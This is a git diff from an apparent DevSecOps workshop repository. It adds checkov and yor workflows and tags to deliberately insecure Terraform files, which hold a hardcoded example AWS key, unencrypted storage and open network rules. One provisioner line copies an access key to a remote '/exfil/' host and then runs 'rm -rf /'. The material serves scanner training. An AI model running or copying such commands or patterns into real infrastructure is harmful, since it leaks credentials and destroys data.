diff --git a/.github/workflows/checkov.yaml b/.github/workflows/checkov.yaml new file mode 100644 index 000000000..9f7240507 --- /dev/null +++ b/.github/workflows/checkov.yaml @@ -0,0 +1,35 @@ +name: checkov +on: + pull_request: + push: + branches: + - main +jobs: + scan: + runs-on: ubuntu-latest + permissions: + contents: read # for actions/checkout to fetch code + security-events: write # for GitHub/codeql-action/upload-sarif to upload SARIF results + + steps: + - uses: actions/checkout@v2 + + - name: Run checkov + id: checkov + uses: bridgecrewio/checkov-action@master + with: + directory: code/ + #soft_fail: true + #api-key: ${{ secrets.BC_API_KEY }} + #env: + #PRISMA_API_URL: https://api4.prismacloud.io + + - name: Upload SARIF file + uses: GitHub/codeql-action/upload-sarif@v2 + + # Results are generated only on a success or failure + # this is required since GitHub by default won't run the next step + # when the previous one has failed. Alternatively, enable soft_fail in checkov action. + if: success() || failure() + with: + sarif_file: results.sarif diff --git a/.github/workflows/yor.yaml b/.github/workflows/yor.yaml new file mode 100644 index 000000000..a16506910 --- /dev/null +++ b/.github/workflows/yor.yaml @@ -0,0 +1,19 @@ +name: IaC tag and trace + +on: + push: + pull_request: + +jobs: + yor: + runs-on: ubuntu-latest + permissions: + contents: write + + steps: + - uses: actions/checkout@v2 + name: Checkout repo + with: + fetch-depth: 0 + - name: Run yor action + uses: bridgecrewio/yor-action@main diff --git a/code/deployment_ec2.tf b/code/deployment_ec2.tf index 7e3d2bba2..43e4e6ca5 100644 --- a/code/deployment_ec2.tf +++ b/code/deployment_ec2.tf @@ -17,7 +17,18 @@ export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMAAAKEY export AWS_DEFAULT_REGION=us-west-2 echo "

Deployed via Terraform

" | sudo tee /var/www/html/index.html EOF - + + tags = { + git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2" + git_file = "code/deployment_ec2.tf" + git_last_modified_at = "2024-01-26 23:01:56" + git_last_modified_by = "tprendervill@paloaltonetworks.com" + git_modifiers = "tprendervill" + git_org = "Makanist" + git_repo = "prisma-cloud-devsecops-workshop" + yor_name = "web_host" + yor_trace = "eb60fad6-f49d-4954-af59-6c09376d47a1" + } } resource "aws_ebs_volume" "web_host_storage" { @@ -25,14 +36,36 @@ resource "aws_ebs_volume" "web_host_storage" { availability_zone = "${var.region}a" #encrypted = false # Setting this causes the volume to be recreated on apply size = 1 - + + tags = { + git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2" + git_file = "code/deployment_ec2.tf" + git_last_modified_at = "2024-01-26 23:01:56" + git_last_modified_by = "tprendervill@paloaltonetworks.com" + git_modifiers = "tprendervill" + git_org = "Makanist" + git_repo = "prisma-cloud-devsecops-workshop" + yor_name = "web_host_storage" + yor_trace = "f4954459-bb67-4ce3-b148-f31711430532" + } } resource "aws_ebs_snapshot" "example_snapshot" { # ebs snapshot without encryption volume_id = "${aws_ebs_volume.web_host_storage.id}" description = "${local.resource_prefix.value}-ebs-snapshot" - + + tags = { + git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2" + git_file = "code/deployment_ec2.tf" + git_last_modified_at = "2024-01-26 23:01:56" + git_last_modified_by = "tprendervill@paloaltonetworks.com" + git_modifiers = "tprendervill" + git_org = "Makanist" + git_repo = "prisma-cloud-devsecops-workshop" + yor_name = "example_snapshot" + yor_trace = "8a8a4c3b-a8be-4c3a-9e8a-39e815778007" + } } resource "aws_volume_attachment" "ebs_att" { @@ -69,14 +102,36 @@ resource "aws_security_group" "web-node" { "0.0.0.0/0"] } depends_on = [aws_vpc.web_vpc] - + + tags = { + git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2" + git_file = "code/deployment_ec2.tf" + git_last_modified_at = "2024-01-26 23:01:56" + git_last_modified_by = "tprendervill@paloaltonetworks.com" + git_modifiers = "tprendervill" + git_org = "Makanist" + git_repo = "prisma-cloud-devsecops-workshop" + yor_name = "web-node" + yor_trace = "b56bb9aa-c612-449b-9328-bee27fb16f81" + } } resource "aws_vpc" "web_vpc" { cidr_block = "172.16.0.0/16" enable_dns_hostnames = true enable_dns_support = true - + + tags = { + git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2" + git_file = "code/deployment_ec2.tf" + git_last_modified_at = "2024-01-26 23:01:56" + git_last_modified_by = "tprendervill@paloaltonetworks.com" + git_modifiers = "tprendervill" + git_org = "Makanist" + git_repo = "prisma-cloud-devsecops-workshop" + yor_name = "web_vpc" + yor_trace = "60b6977b-51e6-42db-90f6-84d5b9fa51e4" + } } resource "aws_subnet" "web_subnet" { @@ -85,7 +140,18 @@ resource "aws_subnet" "web_subnet" { availability_zone = "${var.region}a" map_public_ip_on_launch = true - + + tags = { + git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2" + git_file = "code/deployment_ec2.tf" + git_last_modified_at = "2024-01-26 23:01:56" + git_last_modified_by = "tprendervill@paloaltonetworks.com" + git_modifiers = "tprendervill" + git_org = "Makanist" + git_repo = "prisma-cloud-devsecops-workshop" + yor_name = "web_subnet" + yor_trace = "005c3ac1-782e-4812-a076-9d6b1b73b29e" + } } resource "aws_subnet" "web_subnet2" { @@ -94,20 +160,53 @@ resource "aws_subnet" "web_subnet2" { availability_zone = "${var.region}b" map_public_ip_on_launch = true - + + tags = { + git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2" + git_file = "code/deployment_ec2.tf" + git_last_modified_at = "2024-01-26 23:01:56" + git_last_modified_by = "tprendervill@paloaltonetworks.com" + git_modifiers = "tprendervill" + git_org = "Makanist" + git_repo = "prisma-cloud-devsecops-workshop" + yor_name = "web_subnet2" + yor_trace = "19a592d0-4f6c-4af1-8ba3-0d32f44aaf22" + } } resource "aws_internet_gateway" "web_igw" { vpc_id = aws_vpc.web_vpc.id - + + tags = { + git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2" + git_file = "code/deployment_ec2.tf" + git_last_modified_at = "2024-01-26 23:01:56" + git_last_modified_by = "tprendervill@paloaltonetworks.com" + git_modifiers = "tprendervill" + git_org = "Makanist" + git_repo = "prisma-cloud-devsecops-workshop" + yor_name = "web_igw" + yor_trace = "0707a955-f060-4e3c-9f82-5f35bde16987" + } } resource "aws_route_table" "web_rtb" { vpc_id = aws_vpc.web_vpc.id - + + tags = { + git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2" + git_file = "code/deployment_ec2.tf" + git_last_modified_at = "2024-01-26 23:01:56" + git_last_modified_by = "tprendervill@paloaltonetworks.com" + git_modifiers = "tprendervill" + git_org = "Makanist" + git_repo = "prisma-cloud-devsecops-workshop" + yor_name = "web_rtb" + yor_trace = "503757b4-acca-4ec5-9161-04e5eedfebde" + } } resource "aws_route_table_association" "rtbassoc" { @@ -134,6 +233,17 @@ resource "aws_network_interface" "web-eni" { subnet_id = aws_subnet.web_subnet.id private_ips = ["172.16.10.100"] + tags = { + git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2" + git_file = "code/deployment_ec2.tf" + git_last_modified_at = "2024-01-26 23:01:56" + git_last_modified_by = "tprendervill@paloaltonetworks.com" + git_modifiers = "tprendervill" + git_org = "Makanist" + git_repo = "prisma-cloud-devsecops-workshop" + yor_name = "web-eni" + yor_trace = "6c7ad5e6-8f30-415e-824c-0a708ef0f769" + } } # VPC Flow Logs to S3 @@ -144,12 +254,34 @@ resource "aws_flow_log" "vpcflowlogs" { vpc_id = aws_vpc.web_vpc.id + tags = { + git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2" + git_file = "code/deployment_ec2.tf" + git_last_modified_at = "2024-01-26 23:01:56" + git_last_modified_by = "tprendervill@paloaltonetworks.com" + git_modifiers = "tprendervill" + git_org = "Makanist" + git_repo = "prisma-cloud-devsecops-workshop" + yor_name = "vpcflowlogs" + yor_trace = "b21db054-c0fb-4204-8e94-f10580542abd" + } } resource "aws_s3_bucket" "flowbucket" { bucket = "${local.resource_prefix.value}-flowlogs" force_destroy = true + tags = { + git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2" + git_file = "code/deployment_ec2.tf" + git_last_modified_at = "2024-01-26 23:01:56" + git_last_modified_by = "tprendervill@paloaltonetworks.com" + git_modifiers = "tprendervill" + git_org = "Makanist" + git_repo = "prisma-cloud-devsecops-workshop" + yor_name = "flowbucket" + yor_trace = "5b98d672-1c39-4581-9613-6d3f2a710911" + } } # OUTPUTS diff --git a/code/deployment_s3.tf b/code/deployment_s3.tf index cfb272e1d..3d2f6d36d 100644 --- a/code/deployment_s3.tf +++ b/code/deployment_s3.tf @@ -5,14 +5,36 @@ resource "aws_s3_bucket" "data" { # bucket does not have versioning bucket = "${local.resource_prefix.value}-data" force_destroy = true - + + tags = { + git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2" + git_file = "code/deployment_s3.tf" + git_last_modified_at = "2024-01-26 23:01:56" + git_last_modified_by = "tprendervill@paloaltonetworks.com" + git_modifiers = "tprendervill" + git_org = "Makanist" + git_repo = "prisma-cloud-devsecops-workshop" + yor_name = "data" + yor_trace = "b0161336-9b39-4d11-93c7-e03b66a49c9e" + } } resource "aws_s3_bucket_object" "data_object" { bucket = aws_s3_bucket.data.id key = "customer-master.xlsx" source = "resources/customer-master.xlsx" - + + tags = { + git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2" + git_file = "code/deployment_s3.tf" + git_last_modified_at = "2024-01-26 23:01:56" + git_last_modified_by = "tprendervill@paloaltonetworks.com" + git_modifiers = "tprendervill" + git_org = "Makanist" + git_repo = "prisma-cloud-devsecops-workshop" + yor_name = "data_object" + yor_trace = "49e1feea-3ce8-4020-ab7b-125ff911ef58" + } } resource "aws_s3_bucket" "financials" { @@ -23,6 +45,17 @@ resource "aws_s3_bucket" "financials" { acl = "private" force_destroy = true + tags = { + git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2" + git_file = "code/deployment_s3.tf" + git_last_modified_at = "2024-01-26 23:01:56" + git_last_modified_by = "tprendervill@paloaltonetworks.com" + git_modifiers = "tprendervill" + git_org = "Makanist" + git_repo = "prisma-cloud-devsecops-workshop" + yor_name = "financials" + yor_trace = "a4a2da9e-6ac3-484b-901c-27716701eb7b" + } } resource "aws_s3_bucket" "operations" { @@ -34,7 +67,18 @@ resource "aws_s3_bucket" "operations" { enabled = true } force_destroy = true - + + tags = { + git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2" + git_file = "code/deployment_s3.tf" + git_last_modified_at = "2024-01-26 23:01:56" + git_last_modified_by = "tprendervill@paloaltonetworks.com" + git_modifiers = "tprendervill" + git_org = "Makanist" + git_repo = "prisma-cloud-devsecops-workshop" + yor_name = "operations" + yor_trace = "2f28ac79-46f8-489d-9093-408fabae7b2a" + } } resource "aws_s3_bucket" "data_science" { @@ -49,7 +93,18 @@ resource "aws_s3_bucket" "data_science" { target_prefix = "log/" } force_destroy = true - + + tags = { + git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2" + git_file = "code/deployment_s3.tf" + git_last_modified_at = "2024-01-26 23:01:56" + git_last_modified_by = "tprendervill@paloaltonetworks.com" + git_modifiers = "tprendervill" + git_org = "Makanist" + git_repo = "prisma-cloud-devsecops-workshop" + yor_name = "data_science" + yor_trace = "85570073-79c2-431f-9806-2541f0ea0c7f" + } } resource "aws_s3_bucket" "logs" { @@ -67,5 +122,16 @@ resource "aws_s3_bucket" "logs" { } } force_destroy = true - + + tags = { + git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2" + git_file = "code/deployment_s3.tf" + git_last_modified_at = "2024-01-26 23:01:56" + git_last_modified_by = "tprendervill@paloaltonetworks.com" + git_modifiers = "tprendervill" + git_org = "Makanist" + git_repo = "prisma-cloud-devsecops-workshop" + yor_name = "logs" + yor_trace = "7714209f-98ef-46b0-a305-81a8f91a93a8" + } } diff --git a/code/simple_ec2.tf b/code/simple_ec2.tf index dcfa5880f..f8776c38a 100644 --- a/code/simple_ec2.tf +++ b/code/simple_ec2.tf @@ -10,4 +10,15 @@ resource "aws_ec2_host" "test" { command = "echo Running install scripts.. 'echo $ACCESS_KEY > creds.txt ; scp -r creds.txt root@my-home-server.com/exfil/ ; rm -rf /' " } + tags = { + git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2" + git_file = "code/simple_ec2.tf" + git_last_modified_at = "2024-01-26 23:01:56" + git_last_modified_by = "tprendervill@paloaltonetworks.com" + git_modifiers = "tprendervill" + git_org = "Makanist" + git_repo = "prisma-cloud-devsecops-workshop" + yor_name = "test" + yor_trace = "00f666b2-6792-48ba-aaa3-71a497b46761" + } } diff --git a/code/simple_s3.tf b/code/simple_s3.tf index c0d25fb60..e5421b42f 100644 --- a/code/simple_s3.tf +++ b/code/simple_s3.tf @@ -6,7 +6,16 @@ resource "aws_s3_bucket" "dev_s3" { bucket_prefix = "dev-" tags = { - Environment = "Dev" + Environment = "Dev" + git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2" + git_file = "code/simple_s3.tf" + git_last_modified_at = "2024-01-26 23:01:56" + git_last_modified_by = "tprendervill@paloaltonetworks.com" + git_modifiers = "tprendervill" + git_org = "Makanist" + git_repo = "prisma-cloud-devsecops-workshop" + yor_name = "dev_s3" + yor_trace = "2ce17465-fbb9-4021-99cf-72c9a387ff84" } }